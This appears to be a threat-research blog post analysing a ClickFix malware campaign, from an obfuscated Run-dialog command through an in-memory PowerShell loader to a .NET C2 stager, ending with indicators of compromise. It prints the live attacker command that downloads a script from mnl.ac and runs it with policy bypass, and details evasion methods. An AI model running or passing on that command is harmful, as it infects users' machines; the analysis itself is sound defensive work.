September 2, 2026
Deobfuscating a ClickFix Campaign: From Base64 PowerShell to an In-Memory .NET Stager
Executive summary

By sm0q
4 min read
Executive summary
I've recently analyzed a multi-stage infection chain originating from a ClickFix hosted on a compromised website belonging to an email management SaaS. The attacks tricks the victim to execute a malicious command that retrieves a malicious powershell script loading an heavily obfuscated .NET DLL in memory. Once unpacked, the stager uses a custom XOR-based C2 protocol with CRC32 integrity checks to establish outbound communications and inject dynamic commands directly into a hidden PowerShell process.
Phase 1: ClickFix Delivery
Upon landing on the infected website, the victim is presented with the prompt shown above. Following the three straightforward instructions opens the Windows Run dialog, where the user pastes and executes the following obfuscated command.
%comspec% /c "@echo off&^c^U^r^l -Lks mnl^.ac^/A0^90 -o %tmp%\configuration^.ps^1&FOR /f delims^= %p in ('^W^h^E^r^E po*r*e*l.*e') do %p ^-e^p b^ypa^ss -f %tmp%\configuration^.ps^1"%comspec% /c "@echo off&^c^U^r^l -Lks mnl^.ac^/A0^90 -o %tmp%\configuration^.ps^1&FOR /f delims^= %p in ('^W^h^E^r^E po*r*e*l.*e') do %p ^-e^p b^ypa^ss -f %tmp%\configuration^.ps^1"Once executed, this command silently downloads the payload hosted at mnl[.]ac/A090 using curl.exe and saves it to a file named configuration.ps1 directly into the %TEMP% directory.
Then, it immediately executes that file using a FOR loop combined with where.exe to dynamically locate the PowerShell executable, bypassing execution policy restrictions
To evade detection, the command stacks several layers of obfuscation:
%comspec%/c: Resolves tocmd.exevia an environment variable, evading simple string detection for command prompt executions.@echo off&:Silences command output to avoid desktop screen flickering.- Caret Characters (^): Functions as an escape character in
cmd.exe. During parsing, the shell removes the carets, reconstructing clean strings (likecurland-ep bypass) directly in memory. - Wildcard Resolution (
po*r*e*l.*e): Allowswhere.exeto findpowershell.exewithout ever writing the literal word "powershell" into the command line.
Phase 2: Initial PowerShell Staging
Once configuration.ps1 is executed, it performs defense evasion, single-instance checks, and in-memory payload decryption:
Console Windows Cloaking
To run without tipping off the victim, the script hides its console window using an API call to user32.dll:
- It generates a random GUID (
New-Guid) and sets it as the console window title ($Host.UI.RawUI.WindowTitle). - It dynamically imports
ShowWindowAsyncfromuser32.dll. - It queries running processes for that GUID to locate its own window handle, and instantly rendering the PowerShell console invisible.
2. Mutex Check
The script attempts create (and acquire) a mutex named BOyBdSXJMJHWV .
- If the mutex is already present, another instance is active, and the script silently exits. This prevents duplicate infections, overlapping network traffic, and corrupted C2 sessions.
- If not, the mutex is acquired, execution continues.
3. In-Memory Decryption & Decompression
Once the checks pass, the script unpacks the embedded payload entirely in memory without dropping a binary to disk:
- It begins by converting a long Base64 string into a raw ciphertext byte array
- Once the conversion is over, the byte array is decrypted using the AES-256-CBC cipher with a hardcoded 32-byte key and 16-byte IV via
AesCryptoServiceProvider - Finally, the decrypted stream is decompressed via
System.IO.Compression.GzipStreaminto a new memory stream
4. Reflective Loading & Dispatch
With the payload decompressed in the $_O memory stream, the script executes the binary without writing a single byte to disk:
- Reflective Loading: With
[Reflection.Assembly]::Load($_O.ToArray()), the decompressed binary is loaded directly into the PowerShell process's memory space. - Polling & Execution Loop: The script enters a 36-second loop, calling the entrypoint method
O7vzXr6U50ua0jygtcHcTOvlU2SWiruEpkRQxAg_fnTky_TGevery 15 seconds. It captures the returned session token in$cand passes it back on each iteration to maintain session state with the C2.
Phase 3: Analyzing the .NET Stager
Because the PowerShell script decrypts the payload entirely in memory, obtaining the DLL for static analysis requires carving it out before execution.
1. Dumping and unpacking the payload
By modifying the script to intercept the decompressed byte array $_O right before [Reflection.Assembly]::Load(), we can save the raw bytes directly to disk:
[System.IO.File]::WriteAllBytes("payload.dll", $_O.ToArray())[System.IO.File]::WriteAllBytes("payload.dll", $_O.ToArray())After opening the downloaded file in DiE, we found a packed and obfuscated .NET file
By unpacking it with UnConfuser tools, and deobfuscate most of it with de4dot, we were able to find an understandable code, even if it still was obfuscated.
Unfortunately, we were not able to get over all the anti-analysis protections, so we're only able to analyze it statically with DnSpy.
2. Network communication
During the initial run, no session token exists ($c = $null). The stager generates a pseudo-random 32-character alphanumeric UUID using the charset 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ.
- To construct the packet, it concatenates
"P"+UUID+"AUG-09"and converts the string to UTF-8 bytes. - To distort packet sizes and evade static length-based network signatures, the method
NoCeKWo5krZ1HjRs6fgenerates two random padding buffers (between 16 and 64 bytes each) and envelopes the payload between them. - The entire buffer is encrypted via a rolling XOR algorithm that mutates the key byte-by-byte during encryption. The key is derived from a hardcoded Base64 string
The encrypted block is transmitted via an HTTP POST request to the C2 address. When the C2 responds, the stager parses the packet:
- It validates the 4-byte CRC32 header against the remaining response data, aborting with
"CRC mismatch"if integrity fails. - It decrypts the ciphertext using the rolling XOR routine and removes the random padding.
- It examines the opcode byte at index
0: - (244): Instructs the stager to terminate immediately via
Environment.Exit(1). - (202): Signals payload execution.
If OpCode 202 is received :
- The malware strips the first 5 bytes
- It sleeps for 5 seconds
- It spawns a hidden, background PowerShell process with redirected standard input
- It feeds the decrypted C2 command string directly into
powershell.exe's standard input pipe, prefixing the command with$UUID='<UUID>';and suffixing it with;exit. - Execution Beacon: Finally, it sends a follow-up confirmation POST request back to the C2 containing
"T"+UUID+command_idto notify the threat actor of successful execution.
IOC
mnl[.]ac/A090 [149.255.35.135]
configuration.ps1 [1e4246ed2050b7a6c711aae4732e8ec89d590dec860d16ecc86071339792135f]
payload.dll [41da18c32a2c759946acd9e2291e937b0777e19db6407126807f9af52374e3c0]
217[.]148[.]142[.]67
BOyBdSXJMJHWV [mutex name]